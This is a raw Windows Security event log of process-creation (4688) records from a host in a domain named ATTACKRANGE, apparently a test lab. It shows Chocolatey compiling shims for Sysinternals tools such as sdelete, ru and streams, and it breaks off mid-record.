-TaskCategory=Process Creation -OpCode=Info -RecordNumber=246860 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe84 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246859 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sdelete64.exe" --output="C:\ProgramData\chocolatey\bin\sdelete64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sdelete64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246858 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf18 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES8FF.tmp" "c:\ProgramData\chocolatey\bin\CSCA08EF60469CF4FDCB34C1A8A19C7FDB7.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246857 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246856 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf50 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sdelete.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_5050\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246855 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x314 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf50 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246854 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sdelete.exe" --output="C:\ProgramData\chocolatey\bin\sdelete.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sdelete.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246853 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xea0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES814.tmp" "c:\ProgramData\chocolatey\bin\CSC436FC14D932E4A188D255BE56F6C1771.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246852 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xea0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246851 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ru64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_2863\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246850 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4fc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246849 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ru64.exe" --output="C:\ProgramData\chocolatey\bin\ru64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ru64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246848 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x288 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES749.tmp" "c:\ProgramData\chocolatey\bin\CSC8CF51336253041B488A0DE107230F47F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246847 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246846 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc74 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ru.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123425_0831\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246890 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe8c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246889 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe8c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\streams64.exe" --output="C:\ProgramData\chocolatey\bin\streams64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\streams64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246888 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb88 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE1F.tmp" "c:\ProgramData\chocolatey\bin\CSC95A0827A49044934B03F833999327F82.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as 